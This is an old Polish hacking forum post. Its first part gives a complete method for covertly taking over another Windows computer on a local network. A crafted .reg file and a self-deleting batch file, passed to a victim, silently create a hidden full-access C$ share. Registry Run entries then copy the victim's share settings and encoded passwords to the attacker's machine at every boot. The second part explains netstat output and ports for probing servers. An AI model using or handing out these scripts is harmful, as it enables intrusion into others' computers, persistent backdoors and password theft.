» hak «

Jak dostać się do dysku innego komputera w sieci wykorzystując dziury w systemie ?

Metoda ta jest już trochę przestarzała i łatwa do wykrycia (aczkolwiek ciągle skuteczna), dlatego zdecydowałem się ją opisać.
Chyba każdy z nas miał już kiedyś do czynienia z rejestrem systemowym. Poprzez wpisywanie odpowiednich kluczy i wartości można całkowicie zrekonfigurować Windowsa i znacznie ograniczyć dostęp do zasobów komputera. W kluczu:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Network\LanMan\
[nazwa udostępnionego foldera lub drukarki]
zapisana jest konfiguracja wszystkich udostępnionych zasobów na naszym komputerze (folderów i drukarek). W kluczu tym znajdują się następujące zmienne :
• Flags
o 101, 191 - folder udostępniony tylko do odczytu
o 102, 192 - folder udostępniony do odczytu i zapisu
o 103, 193 - folder udostępniony w zależności od podanego hasła
• Parm1enc, Parm2enc - zakodowane hasła (maks. 8 liter)
• Path - ścieżka dostępu do folderu
• Remark - opis
• Type -
o 0 dla folderów
o 1 dla drukarek.

Tak wygląda zapis przykładowej konfiguracji udziału o nazwie 'instal'.
Manipulując tymi wartościami łatwo zmieniać konfiguracje udostępnień na swoim komputerze, ale jak wykorzystując rejestr systemowy aby zmienić i/lub odczytać konfiguracje innego komputera w sieci. Bardzo prymitywnym sposobem jest podsunięcie komuś w sieci zwykłego pliku rejestru. Np. takiego :
------in.reg------
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Network\LanMan\C$]
"Flags"=dword:00000192
"Type"=dword:00000000
"Path"="C:\\"
"Parm2enc"=hex:
"Parm1enc"=hex:
"Remark"=""
----- - - -----

Wzór pliku in.reg można bardzo łatwo uzyskać eksportując z rejestru zapis dowolnego udostępnienia. Później wystarczy odpowiednio go zmodyfikować (zmienić nazwę udziału, ścieżkę dostępu itd.)
Kiedy użytkownik na innym komputerze uruchomi ten plik (domyślnie - scalaj) wówczas informacje zostaną wprowadzone do rejestru systemowego. Po ponownym starcie systemu na komputerze ofiary będziemy mieli swobodny dostęp do jego dysku C (znaczek '$' przy nazwie udostępnienia oznacza, że udział nie będzie widoczny w Otoczeniu Sieciowym). Jak już wspomniałem metoda ta jest bardzo prymitywna choćby ze względu na komunikat, który pojawi się na ekranie komputera informujący o wprowadzeniu zmiennych do rejestru. Dlatego powinniśmy zadbać o to aby program regedit.exe był uruchamiany z parametrem /s - to zapewni nam dyskrecje. Można to zrobić wykorzystując plik bat :
-----start.bat-----
regedit.exe /s \\MAX\TAJNY$\in.reg
del start.bat
----- - - -----
MAX - nazwa naszego komputera
TAJNY$ - przykładowe udostępnienie, które musimy utworzyć i do którego należy przegrać plik in.reg
Wówczas użytkownikowi podsuwamy tylko plik start.bat, po uruchomieniu którego zawartość in.reg zostanie wprowadzona do rejestru. Podobnie bardzo łatwo można wyciągnąć zapis konfiguracji udostępnionych folderów z innego komputera w sieci (,takiego który swe zasoby ma zabezpieczone hasłem, bo tylko wtedy ma to sens) :
-----start.bat-----
regedit.exe /s /e \\MAX\TAJNY$\out.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan
del start.bat
----- - - -----
TAJNY$ - w tym przypadku musi być ustawiony jako 'pełen dostęp'
Powyższe dwa sposoby dają nam możliwości jednorazowej zmiany lub jednorazowego pobrania informacji z rejestru. Ale co zrobić, żeby za każdym razem nie zmuszać użytkownika do uruchamiania bata ? W tym celu należy wykorzystać inny klucz w rejestrze :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Tam właśnie zapisane są ścieżki wszystkich programów, które uruchamiane są po starcie systemu. Do tego klucza musimy wprowadzić odpowiednie zmienne, które zapewnią nam stały dostęp do rejestru systemowego innego komputera. W tym celu możemy wykorzystać opisaną wyżej metodę (pliku bat). Plik in.reg powinien wyglądać następująco :
------in.reg------
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"WinStart"="regedit.exe /s /e \\\\MAX\\TAJNY$\\out.reg
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan"
"WinStart2"="if exist \\\\MAX\\TAJNY$\\in.reg regedit.exe /s
\\\\MAX\\TAJNY$\\out.reg"

----- - - -----
Po wprowadzeniu zawartości pliku in.reg do rejestru systemowego ofiary pierwsza zmienna :
"WinStart"="regedit.exe /s /e \\\\MAX\\TAJNY$\\out.reg
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan"
sprawi, że zawsze przy starcie systemu na komputerze ofiary Windows zapisze całą konfiguracje udostępnionych folderów i drukarek w pliku out.reg na naszym dysku. Jeżeli w tym czasie udział \\MAX\TAJNY$ nie będzie dostępny (np. jeżeli nasz komputer będzie wyłączony) wówczas start systemu opóźni się o około 1 sekundę. Zapis drugiej zmiennej jest trochę bardziej skomplikowany :
"WinStart2"="if exist \\\\MAX\\TAJNY$\\in.reg regedit.exe /s
\\\\MAX\\TAJNY$\\in.reg"
Podobnie jak w przypadku pierwszej zmiennej zawsze, gdy system będzie ładowany zostanie uruchomiony program regedit.exe i wprowadzi do rejestru systemowego ofiary zmienne znajdujące się w pliku in.reg na naszym dysku. Jednakże tutaj jest to trochę bardziej skomplikowane. Gdy program nie znalazłby pliku in.reg (np. gdy będziemy mieli wyłączony komputer) na ekranie komputera ofiary pojawiłby się komunikat o błędzie. Aby tego uniknąć przed uruchomieniem regedit.exe konieczne jest sprawdzenie czy istnieje taki plik. Dlatego wartość zmiennej ma postać :
if exist nazwapliku polecenie
Teraz, gdy tylko będziemy chcieli wprowadzić jakieś zmiany w konfiguracji udostępnionych folderów w komputerze ofiary wystarczy przygotować odpowiedni plik in.reg, przegrać go do folderu, który udostępniamy - TAJNY$ i poczekać, aż użytkownik w sieci włączy komputer, bądź zrestartuje system. Wówczas także będziemy mogli odczytać zapis konfiguracji udostępnionych folderów, a co za tym idzie - hasła, które po starcie systemu znajdą się w pliku out.reg, na naszym dysku. Trzeba jednak pamiętać o tym, że istnieje program "Monitor sieci", który pokazuje wszystkie komputery w sieci podłączone do zasobów określonego kompa.

Netstat ( czyli Network Statistic ) daje nam wiele ciekawych
informacji, ktore mozemy wykorzystac potem do surfowania
po portach ( obecnie czesciej wykonuje sie to za pomoca
roznych skanerow, ale "wlasnoreczne" przeszukiwanie daje
nam wiecej satysfakcji Smile

Zagladamy wiec w plik raportu,
jaki stworzylismy wczesniej ( czesc 1 ). Powinno tam sie
znajdowac cos takiego:

Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (State)
tcp 0 0 *:673 *:* LISTEN
tcp 0 0 *:8080 *:* LISTEN
tcp 0 0 *:netbios-ssn *:* LISTEN
tcp 0 0 *:nntp *:* LISTEN
tcp 0 0 *:auth *:* LISTEN
tcp 0 0 *:sunrpc *:* LISTEN
tcp 0 0 *:pop3 *:* LISTEN
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:finger *:* LISTEN
tcp 0 0 *:domain *:* LISTEN
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 *:chargen *:* LISTEN
tcp 0 0 *:netstat *:* LISTEN
tcp 0 0 xxx.xxx.xxx.xxx:netstat ppp-rapxxx.konin:15558 ESTABLISHED
tcp 0 0 *:daytime *:* LISTEN
tcp 0 0 *:systat *:* LISTEN
tcp 1 0 xxx.xxx.xxx.:systat ppp-rapxxx.konin:15546 TIME_WAIT
tcp 1 0 xxx.xxx.xxx.:systat ppp-rapxxx.konin:15549 TIME_WAIT
tcp 1 1 xxx.xxx.xxx.xxx:1290 ppp-rapxxx.konin.:auth CLOSING
tcp 0 0 *:discard *:* LISTEN
tcp 1 0 xxx.xxx.xxx.xxx:1288 ppp-rapxxx.konin.:auth TIME_WAIT
tcp 0 0 *:echo *:* LISTEN
tcp 1 0 xxx.xxx.xxx.xxx:1286 ppp-rapxxx.konin.:auth TIME_WAIT
tcp 0 0 *:printer *:* LISTEN
tcp 0 0 *:shell *:* LISTEN
tcp 0 0 *:login *:* LISTEN
tcp 0 0 *:2049 *:* LISTEN
udp 0 0 *:671 *:*
udp 0 0 *:netbios-ns *:*
udp 0 0 *:sunrpc *:*
udp 0 0 *:3130 *:*
udp 0 0 *:domain *:*
udp 0 0 localhost:domain *:*
udp 0 0 xxx.xxx.xxx.:domain *:*
udp 0 0 *:time *:*
udp 0 0 *:chargen *:*
udp 0 0 *:daytime *:*
udp 0 0 *:discard *:*
udp 0 0 *:echo *:*
udp 0 0 *:ntalk *:*
udp 0 0 *:syslog *:*
udp 0 0 *:2049 *:*
udp 0 0 *:biff *:*
raw 0 0 *:1 *:*
Active UNIX domain sockets
Proto RefCnt Flags Type State Path
unix 2 [ ] SOCK_STREAM CONNECTED 678
unix 2 [ ] SOCK_STREAM UNCONNECTED 679
unix 2 [ ] SOCK_STREAM CONNECTED 682
unix 2 [ ] SOCK_STREAM UNCONNECTED 687
unix 2 [ ] SOCK_STREAM CONNECTED 690

( wycialem ostatnia kolumne - user [ ale nie bylo w niej nic ciekawego ] )
Sprobujmy wiec przeanalizowac, co tu mamy.
Pierwsza kolumna to ptotokul:
IP - internet protocol, pseudo protocol number
ICMP - internet control message protocol
GGP - gateway-gateway protocol
TCP - transmission control protocol
EGP - exterior gateway protocol
PUP - PARC universal packet protocol
UDP - user datagram protocol
HMP - host monitoring protocol
XNS-IDP - Xerox NS IDP
RDP - "reliable datagram" protocol
( najczesciej jest TCP [ Transmission Control Protocol ], lub UDP [ User
Datagram Protocol ] ), dalej Recived-Q i Sended-Q ( ktore nie sa dla nas
istotne ), Local Adress ( nazwa portu ), Foreign Adress ( adres komputera
laczacego sie z danym portem ), state ( status portu ), user ( uzytkownik )

Podstawowe porty, jakie powinienes znac to:

Nazwa: Nr.portu: Usluga:
echo 7 Cokolwiek napiszesz host odpisze to samo
discard 9 /dev/null
systat 11 Uruchamia na serwerze komende ps -auwwx
daytime 13 Czas i data na hoscie
netstat 15 Wlasnie to uruchomiles Smile

( network statistic )
chargen 19 Zwraca nam ciag znakow ASCII. Aby je zatrzymac - ^C
ftp 21 File Transfer Protocol ( wiadomo )
telnet 23 Telnet ( wiadomo )
smpt 25 Poczta ( uzywajac tego portu mozna wysylac fake maile )
time 37 Zwraca czas
domain 53 Nazwa serwera
finger 79 Informacje o uzytkownikach
http 80 Serwer WWW
login 513 Login Smile

shell 514 Zdalny shell

Teraz mozesz przeszukac serwer w poszukiwaniu czyis backdoors
lub laczyc sie z odpowiednim portem i probowac zdobyc jak najwiecej
danych. Kiedys mozna bylo wywolac przepelnienie stosu za pomoca
fingera ( wykorzystywala to bakteria Morrisa ) a tym samym zdobyc roota.
[ Wystepowalo to, gdy informacja podawana przez uzytkownika byla
dluzsza niz 512 bajtow. Demon fingerd przepelnial stos i pozwalal
na uruchomienie shella ]
Po polaczeniu na port 79 ( finger Wink

mozemy wywolac 1 komende,
po czym zostajemy rozlaczeni. Jest to rownoznacze z wywolaniem:

% finger [link widoczny dla zalogowanych]

( lecz czasem podobno dzialaja takie komendy jak: help, ?, man
mi nie dzialaly, ale tak gdzies czytalem, chcecie to probujcie Wink

[ dla lamerow: ]
[ laczenie z odpowiednim portem: % telnet xxx.xxx.xxx.xxx nr.portu ]